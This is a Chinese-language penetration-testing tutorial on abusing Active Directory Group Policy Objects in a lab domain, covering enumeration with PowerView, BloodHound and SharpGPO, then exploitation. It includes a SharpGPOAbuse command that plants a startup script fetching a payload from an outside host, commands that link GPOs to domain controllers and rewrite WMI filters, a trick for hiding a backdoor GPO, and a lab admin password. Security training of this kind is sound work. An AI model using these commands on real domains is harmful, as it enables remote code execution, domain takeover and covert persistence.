Skip to main content

GPO的利用

在 AD 环境中进行渗透测试时,GPO 对我们来说会是一个具有吸引力的目标。如果我们对 GPO 具有修改权限或更高权限,我们就可以攻陷其他用户并获得远程代码执行或/和横向移动,以及持久化访问。 以下屏幕截图显示了 PROD 域 中的所有 GPO。 在开始枚举和利用之前,让我们熟悉一些有关 GPO 的术语。

概念与术语

组策略

组策略是 Windows 操作系统的一项功能,用于控制用户和计算机帐户的工作环境。 组策略在 Active Directory 环境中提供操作系统、应用程序和用户设置的集中管理和配置。

GPO

组策略对象 (GPO) 是一组设置,用于定义系统的配置及其对预定义用户组的作用。 GPO 可以链接到 AD 中的站点组织单位 (OU)。 它们可用于配置系统设置、安装软件以及将安全策略应用于这些容器中的用户和计算机。

image.png

新建域中有两个默认 GPO:默认域控制器策略默认域策略。每个 GPO 都有一个唯一的 GUID。 例如,默认域控制器策略的 GUID 是 {6AC1786C-016F-11D2-945F-00C04fB984F9},每个域都将具有相同的值。自定义 GPO AppLocker 的 GUID 是 {6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030}

image.png

image.png


OU 组织单位

组织单位 (OU) 是一个容器对象,可以容纳其他 AD 对象,例如用户帐户、计算机帐户和其他 OU。OU 用于分层组织和管理 AD 对象,并可用于委派对特定对象或对象组的管理控制。 PROD 域中有 6 个 OU; 它们分别是 Domain Controllers,、Groups, Assets,、File Server,、Web ServerSQL Server。其中,OU Assets 包含了 2 个 OU:File Server,  SQL Server。

image.png

GPLink,即 GPO 链接,可以连接到 AD 容器,例如站点、域或 OU。GPO 链接将 GPO 应用于它们链接到的容器内的对象。GPO 链接可以被启用禁用强制不强制,以及配置 GPO 作用的顺序。一个 GPO 可以链接到多个 OU,链接到 OU 的 GPO 将应用于该 OU 和所有子 OU 中的所有对象。 但是,如果链接已启用但未强制,则子 OU 可以选择阻止继承

image.png

image.png

以 PROD 的上下文为例子,GPO Writable 作用于 Assets 这个 OU,默认情况下,Assets 包含的 2 个子 OU 全部会继承该 GPO 的作用。除非该 GPLink 被配置了启用但不强制,且子 OU 选择阻止继承。

image.png



在我们的例子中,GPO AppLocker 被链接到了 File Server,RunAsPPL 被链接到了 SQL Server,分别是域主机 File01,Srv0 被作用。 而默认域策略链接到 PROD 域,默认域控制器策略链接到了 OU Domain Controllers。

安全筛选

安全过滤是指定哪些用户和组帐户应受 GPO 影响的过程。 这允许管理员将策略应用于特定用户组,而不是组织单位 (OU) 中的所有用户。 我们注意到 GPO 的默认安全过滤设置是 Authenticated Users 组。

image.png

WMI 筛选器

WMI 过滤是 GPO 的一项功能,它允许管理员仅在满足 Windows Management Instrumentation (WMI) 查询的条件时才应用 GPO,进一步限制哪些计算机和用户受到影响。

image.png

WMI 查询的语法与 SQL 查询非常相似; 例如,要过滤所有 64 位计算机(尽管所有计算机都满足此查询),WMI 查询应该是:

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="64-bit"

PROD 域中存在一个 WMI筛选器 Example,筛选出了所有的 64 位主机。

image.png

一个 GPO 一次只能分配 1 个 WMI 筛选器,并且域主体可以对其拥有 DACL。因此,WMI 过滤也会成为攻击目标。

SYSVOL

在 Dc01 上,SYSVOL 共享目录位于 C:\windows\sysvol。默认情况下,它对于域中所有认证用户都是可读的。SYSVOL 是 Windows AD 环境中域控制器上的一个文件夹,其中包含所有 GPO 策略文件的服务器副本。它们被复制到域中的所有其他域控制器。SYSVOL 文件夹确保相同的组策略和登录脚本文件在域中的所有计算机上可用。

image.png

组策略首选项

组策略首选项 (GPP) 是 AD 中组策略的一项功能,允许管理员配置和管理传统组策略设置未涵盖的设置。它扩展了组策略,使我们能够配置未包含在标准组策略设置中的设置,例如映射驱动器、计划任务和注册表设置。比如我们添加了一个GPP,它从指定的 SMB 服务器拉取一个文件,保存到C盘根目录。

image.png

客户端扩展

根据 Microsoft https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v=ws.11) ,组策略首选项是组策略客户端扩展 (CSE) 的集合。 属性 gPCMachineExtensionNames 指定了组策略需要哪些 CSE。根据截图,上文我们提到的能拉取文件的 GPP 的preference值为 [{00000000-0000-0000-0000-000000000000}{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}][{7150F9BF-48AD-4DA4-A49C-29EF4A836 9BA }{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}]

image.png


根据 https://gist.github.com/MyITGuy/92dcede89ab861ffb31cac9f284ffcc3 的脚本,这个值所对应的含义是 [{Core GPO Engine}{Preference Tool CSE GUID Files}][{Preference CSE GUID Files}{Preference Tool CSE GUID Files }]

	{00000000-0000-0000-0000-000000000000}  Core GPO Engine  
	{0E28E245-9368-4853-AD84-6DA3BA35BB75}  Preference CSE GUID Environment Variables  
	{0F6B957D-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (Computer Policy Settings)  
	{0F6B957E-509E-11D1-A7CC-0000F87571E3}  Tool Extension GUID (User Policy Settings) – Restrict Run  
	{1612b55c-243c-48dd-a449-ffc097b19776}  Preference Tool CSE GUID Data Sources  
	{17D89FEC-5C44-4972-B12D-241CAEF74509}  Preference CSE GUID Local users and groups  
	{1A6364EB-776B-4120-ADE1-B63A406A76B5}  Preference CSE GUID Devices  
	{1b767e9a-7be4-4d35-85c1-2e174a7ba951}  Preference Tool CSE GUID Devices  
	{25537BA6-77A8-11D2-9B6C-0000F8080861}  Folder Redirection  
	{2EA1A81B-48E5-45E9-8BB7-A6E3AC170006}  Preference Tool CSE GUID Drives  
	{3060E8CE-7020-11D2-842D-00C04FA372D4}  Remote Installation Services.  
	{35141B6B-498A-4CC7-AD59-CEF93D89B2CE}  Preference Tool CSE GUID Environment Variables  
	{35378EAC-683F-11D2-A89A-00C04FBBCFA2}  Registry Settings  
	{3610EDA5-77EF-11D2-8DC5-00C04FA31A66}  Microsoft Disk Quota  
	{3A0DBA37-F8B2-4356-83DE-3E90BD5C261F}  Preference CSE GUID Network Options  
	{3BAE7E51-E3F4-41D0-853D-9BB9FD47605F}  Preference Tool CSE GUID Files  
	{3BFAE46A-7F3A-467B-8CEA-6AA34DC71F53}  Preference Tool CSE GUID Folder Options  
	{3EC4E9D3-714D-471F-88DC-4DD4471AAB47}  Preference Tool CSE GUID Folders  
	{40B66650-4972-11D1-A7CA-0000F87571E3}  Scripts (Logon/Logoff) Run Restriction  
	{42B5FAAE-6536-11d2-AE5A-0000F87571E3}  ProcessScriptsGroupPolicy  
	{47BA4403-1AA0-47F6-BDC5-298F96D1C2E3}  Print Policy in PolicyMaker  
	{4CFB60C1-FAA6-47f1-89AA-0B18730C9FD3}  Internet Explorer Zonemapping  
	{516FC620-5D34-4B08-8165-6A06B623EDEB}  Preference Tool CSE GUID Ini Files  
	{53D6AB1D-2488-11D1-A28C-00C04FB94F17}  Certificates Run Restriction  
	{5794DAFD-BE60-433f-88A2-1A31939AC01F}  Preference CSE GUID Drives  
	{5C935941-A954-4F7C-B507-885941ECE5C4}  Preference Tool CSE GUID Internet Settings  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Group Policy Folders  
	{6232C319-91AC-4931-9385-E70C2B099F0E}  Preference CSE GUID Folders  
	{6A4C88C6-C502-4f74-8F60-2CB23EDC24E2}  Preference CSE GUID Network Shares  
	{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}  Preference CSE GUID Files  
	{728EE579-943C-4519-9EF7-AB56765798ED}  Preference CSE GUID Data Sources  
	{74EE6C03-5363-4554-B161-627540339CAB}  Preference CSE GUID Ini Files  
	{79F92669-4224-476c-9C5C-6EFB4D87DF4A}  Preference Tool CSE GUID Local users and groups  
	{7B849a69-220F-451E-B3FE-2CB811AF94AE}  Internet Explorer User Accelerators/PolicyMaker  
	{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}  Computer Restricted Groups  
	{827D319E-6EAC-11D2-A4EA-00C04F79F83A}  Security   
	{88E729D6-BDC1-11D1-BD2A-00C04FB9603F}  Folder Redirection  
	{8A28E2C5-8D06-49A4-A08C-632DAA493E17}  Deployed Printer Connections  
	{91FBB303-0CD5-4055-BF42-E512A681B325}  Preference CSE GUID Services  
	{942A8E4F-A261-11D1-A760-00C04FB9603F}  Software Installation (Computers).  
	{949FB894-E883-42C6-88C1-29169720E8CA}  Preference Tool CSE GUID Network Options  
	{9AD2BAFE-63B4-4883-A08C-C3C6196BCAFD}  Preference Tool CSE GUID Power Options  
	{A2E30F80-D7DE-11d2-BBDE-00C04F86AE3B}  Internet Explorer Maintenance policy processing  
	{A3F3E39B-5D83-4940-B954-28315B82F0A8}  Preference CSE GUID Folder Options  
	{A8C42CEA-CDB8-4388-97F4-5831F933DA84}  Preference Tool CSE GUID Printers  
	{AADCED64-746C-4633-A97C-D61349046527}  Preference CSE GUID Scheduled Tasks  
	{B087BE9D-ED37-454f-AF9C-04291E351182}  Preference CSE GUID Registry  
	{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}  EFS Recovery  
	{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}  802.3 Group Policy  
	{B9CCA4DE-E2B9-4CBD-BF7D-11B6EBFBDDF7}  Preference Tool CSE GUID Regional Options  
	{BACF5C8A-A3C7-11D1-A760-00C04FB9603F}  Software Installation (Users) Run Restriction  
	{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}  Preference CSE GUID Printers  
	{BEE07A6A-EC9F-4659-B8C9-0B1937907C83}  Preference Tool CSE GUID Registry  
	{BFCBBEB0-9DF4-4c0c-A728-434EA66A0373}  Preference Tool CSE GUID Network Shares  
	{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}  Preference CSE GUID Shortcuts  
	{C631DF4C-088F-4156-B058-4375F0853CD8}  Microsoft Offline Files  
	{C6DC5466-785A-11D2-84D0-00C04FB169F7}  Application Management  
	{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}  Preference Tool CSE GUID Scheduled Tasks  
	{CC5746A9-9B74-4be5-AE2E-64379C86E0E4}  Preference Tool CSE GUID Services  
	{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}  TCPIP  
	{CEFFA6E2-E3BD-421B-852C-6F6A79A59BC1}  Preference Tool CSE GUID Shortcuts  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Internet Explorer Machine Accelerators  
	{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}  Policy Maker  
	{CF848D48-888D-4F45-B530-6A201E62A605}  Preference Tool CSE GUID Start Menu  
	{D02B1F72-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (Computer Policy Settings)  
	{D02B1F73-3407-48AE-BA88-E8213C6761F1}  Tool Extension GUID (User Policy Settings)  
	{e437bc1c-aa7d-11d2-a382-00c04f991e27}  IP Security  
	{E47248BA-94CC-49C4-BBB5-9EB7F05183D0}  Preference CSE GUID Internet Settings  
	{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}  Preference CSE GUID Start Menu  
	{E5094040-C46C-4115-B030-04FB2E545B00}  Preference CSE GUID Regional Options  
	{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}  Preference CSE GUID Power Options  
	{F0DB2806-FD46-45B7-81BD-AA3744B32765}  Policy Maker  
	{F17E8B5B-78F2-49A6-8933-7B767EDA5B41}  Policy Maker  
	{F27A6DA8-D22B-4179-A042-3D715F9E75B5}  Policy Maker  
	{f3ccc681-b74c-4060-9f26-cd84525dca2a}  Audit Policy Configuration  
	{F581DAE7-8064-444A-AEB3-1875662A61CE}  Policy Maker  
	{F648C781-42C9-4ED4-BB24-AEB8853701D0}  Policy Maker  
	{F6E72D5A-6ED3-43D9-9710-4440455F6934}  Policy Maker  
	{F9C77450-3A41-477E-9310-9ACD617BD9E3}  Group Policy Applications  
	{FB2CA36D-0B40-4307-821B-A13B252DE56C}  Enterprise QoS  
	{FC715823-C5FB-11D1-9EEF-00A0C90347FF}  Internet Explorer Maintenance Extension protocol  
	{FD2D917B-6519-4BF7-8403-456C0C64312F}  Policy Maker  
	{FFC64763-70D2-45BC-8DEE-7ACAF1BA7F89}  Policy Maker  


枚举

我们有多种方式来枚举GPO,无论是通过系统自身特性,还是工具。收集足够的信息对于利用 GPO 至关重要。

SYSVOL

考虑到 SYSVOL 包含所有 GPO 的策略文件,并且任何认证的域用户都可以访问此共享,我们可以检查文件和文件夹以枚举 GPO 信息。 访问UNC路径 \\dc01.prod.raven-med.local\sysvol\prod.raven-med.local\policies,我们可以看到所有GPO的文件夹:

image.png

每个文件夹都是 {GUID} 的格式,因此,文件夹 {6CBEAF1A-9C1D-4FEA-A0A8-4D4053996030} 存储 GPO AppLocker 的策略文件。GPO 文件夹中有 MachinesUser 两个文件夹和一个 ini 文件 GPT.INI。ini文件包含版本信息,如果版本值增加,命令 gpupdate 将应用新设置。

image.png

我们在 Machine 文件夹中找到一个文件 Registry.pol; 它包含详细的 AppLocker 设置。虽然显示较为凌乱,但是我们还是能提取到配置信息的。

image.png

查看 GPO RunAsPPL 的配置文件,我们发现 Registry.xml 文件配置了作用于目标 OU 的注册表设置

<?xml version="1.0" encoding="utf-8"?>
<RegistrySettings clsid="{A3CCFC41-DFDB-43a5-8D26-0FE8B954DA51}"><Registry clsid="{9CD4B2F4-923D-47f5-A062-E897DD1DAD50}" name="RunAsPPL" status="RunAsPPL" image="12" changed="2023-01-29 00:35:32" uid="{08A03E5C-2C7C-4680-80DF-5913AC43ECD5}"><Properties action="U" displayDecimal="0" default="0" hive="HKEY_LOCAL_MACHINE" key="SYSTEM\CurrentControlSet\Control\Lsa" name="RunAsPPL" type="REG_DWORD" value="00000001"/></Registry>
</RegistrySettings>

image.png

寻血猎犬

在 BloodHound 中,我们可以直观地观察域对象与 GPO 之间的关系。例如,计算机帐户 Srv01$ 对GPO Writable 具有修改权限。

image.png

而 Writable 影响 OU Assets

image.png

因为 Assets 包含子 OU,最终有 2 台域主机被 Writable 所影响。

image.png

PowerView

我们在前面的章节中简要地谈到了使用 PowerView 来枚举 GPO,让我们回顾一下,以 GPO AppLocker 为例。

image.png

我们可以看到 GPO 的多个属性,例如 displayname、GUID、gpcmachineextensionnames、版本信息等。

要查找对 GPO 具有修改权限的普通用户 (非域管理员等高权限用户),执行以下命令:

Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
ConvertFrom-SID <得到的SID>
get-netgpo | ?{$_.name -eq "{<得到的GUID>}"}

我们发现,有一个普通用户对一 GPO 具有修改权限,查询返回了该用户的 SID 与 GPO 的 GUID。

image.png

查询该 SID,发现是 SRV01$ 主机账号。查询该 GPO,发现是 GPO Writable。那么,至此,我们已经发现了一个 GPO 的利用途径。

image.png

SharpGPO

SharpGPO (https://github.com/Dliv3/SharpGPO) 是枚举和操纵 GPO、OU、GPLink 和安全过滤器的优秀工具。我们先下载源码,打开项目文件,然后将文件 GPO.cs 199 行到 203 行的代码片段注释掉。否则,在运行时我们会遇到异常。 修改后重新编译,得到二进制文件。

image.png

            /*    DirectoryEntry[] sites = GetSites();
                foreach (DirectoryEntry site in sites)
                {
                    links.Add(site, GetGPOByGpLink((string)site.Properties["gPLink"].Value));
                }*/

枚举所有 OU:

SharpGPO.exe --Action GetOU

image.png

枚举所有 GPO:

SharpGPO.exe --Action GetGPO

image.png

枚举所有 GPLink:

SharpGPO.exe --Action GetGPLink

image.png

不幸的是,在这里该项枚举报错了,报错原因字面上是域内并无 GPLink,但显然是不成立的。
  

枚举特定 GPO 的安全过滤器:

SharpGPO.exe --Action GetSecurityFiltering --gponame AppLocker

image.png


利用

根据前面的枚举,主机账号 Srv01 对GPO Writable 有修改权限,因此,我们可以利用不安全的权限来获得代码执行、横向移动和访问持久化。我们也有多种方式来实现这些目标。

可写 GPO

从 Srv01 获取 SYSTEM 会话,并分别尝试将文件写入 AppLockerWritable 的文件夹。事实证明,Srv01$ 具有对 Writable 文件夹而不是 AppLocker 文件夹的写入权限。因此,用户对 GPO 及其 SYSVOL 共享文件夹的权限是一致的。

考虑到 Srv01 没有足够的权限来操作 Dc01。 因此我们可以通过 LDAP 修改文件或更新域对象。

以前,我们在审计上添加了一个 GPP,以从我们的 SMB 服务器中提取一个文件,使用凭据 child\Administrator:Passw0rddc01 登录 Dc01,删除首选项,并将 GPO 审计链接到 SQL Server Tier 1。

此外,在 OU 域控制器上添加 Srv01 Link GPOs 权限。

这篇文章 (https://www.trustedsec.com/blog/weaponizing-group-policy-objects-access/?utm_content=140183152&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306) 很好地说明了如何操作策略文件,以及 gPCMachineExtensionNames 属性以修改首选项。例如,我们可以修改首选项以创建计划任务来执行我们的载荷。 但是,要实现这一点,我们需要以正确的格式创建一个 XML 文件 ScheduledTasks.xml,找到所需的 gPCMachineExtensionNames 属性值 [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}],并更新 GPT.INI 文件。SharpGPOAbuse (https://github.com/FSecureLABS/SharpGPOAbuse) 或 SharpGPO 等工具已经为我们包装了这些步骤和操作,我们可以使用以下命令运行 SharpGPOAbuse:

sharpgpoabuse.exe --AddComputerScript --ScriptName logon.bat --ScriptContents \"powershell iwr http://192.168.0.44:8080/pwn\" --GPOName \"Audit\

我们可以看到,脚本被创建成功了:



Srv01 对 GPO Write 有修改权限,但并非对整个 GPO 功能具有修改权限,所以不能新建 GPO。考虑到 Srv01 可以将 GPO 链接到域控制器,我们可以进而拿下 Dc01。要创建到 OU Domain Controllers 的新 GPLink,命令应为:

SharpGPO.exe --Action NewGPLink --DN \"OU=Domain Controllers,DC=child,DC=htb,DC=local\" --GPOName Audit

查看当前的 GPLink,Writable 成功链接到了 OU Domain Controllers。



修改 WMI Filter

Rasta Mouse 发布了一个有趣的 WMI 筛选器利用的文章 (https://rastamouse.me/ous-and-gpos-and-wmi-filters-oh-my/)。 为了说明滥用情况,以域管理员身份登录 Dc01,打开 Active Directory 用户和计算机,新建一个 OU 资产,并将 SQL Server Tier 1、SQL Server Tier 2 和 Web Server 添加到资产中。 所以,Assets是父OU,added是子OU。 在移动这些 OU 之前,我们需要移除删除保护。

打开组策略管理,并授予 Srv01$ 对 WMI 筛选器示例的完全控制权限。 这样,Srv01 就可以修改 WMI Filters Example。

创建一个新的 GPO Global,将其链接到 GPO Global,然后应用 WMI Filter Example。 考虑到 Assets 是父 OU,它已启用。 因此计算机 Srv01、Srv02 和 Web01 受此 GPO 影响。

如下编辑 WMI 筛选器,因为所有计算机都是 64 位的。 因此,没有一台计算机实际应用了这个GPO。

SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture ="32-bit" 

综上所述,Srv01可以修改应用于GPO Global的WMI Filter,但不能修改GPO。 让我们如下添加一个计算机首选项,然后返回到任何服务器的会话并检查新文件是否保存到 C 盘。更新GPO,查看本地文件; 该文件未保存,这是预期的,因为系统是 64 位架构。

使用 PowerView 枚举可写 WMI 过滤器; 该 cmdlet 应如下所示:

Get-DomainObjectAcl -SearchBase“CN=SOM,CN=WmiPolicy,CN=System,DC=child,DC=htb,DC=local”-LDAPFilter“(objectclass=msWMI-Som)”-ResolveGUIDs | ? { $_.ActiveDirectoryRights -like "*WriteProperty*" }


GUID 是 {F0BB405E-87C9-42E0-8384-13C79692A678}

计算新查询的长度,即 66。通过执行 cmdlet 修改 WMI 查询:

Set-DomainObject -Identity“{F0BB405E-87C9-42E0-8384-13C79692A678}”-Set @{ 'mswmi-parm2' = '1;3;10;66;WQL;root\CIMv2;SELECT * FROM Win32_OperatingSystem WHERE OSArchitecture = “64 位”' } - verbose

该文件从我们的 SMB 服务器中提取并保存在本地磁盘上。 滥用 WMI 过滤器是有效的。

隐藏持久化

我们提到 GPO 可被利用于持久化访问。为了更隐蔽地持久化访问,文章 https://pentestmag.com/gpo-abuse-you-cant-see-me/ 演示了一个技巧。

假设我们已经通过利用 GPO 接管了域管理员或域控制器,我们可以登录 Dc01 来隐藏我们的持久化。 打开 Active Directory Users and Computers,选择GPO Writable 的 Security 选项卡,添加一个 DENY ACE,防止所有主体读写该 GPO。

让我们比较之前和之后:

通过这种方式,我们可以隐藏我们的后门 GPO 并实现更隐蔽的持久化。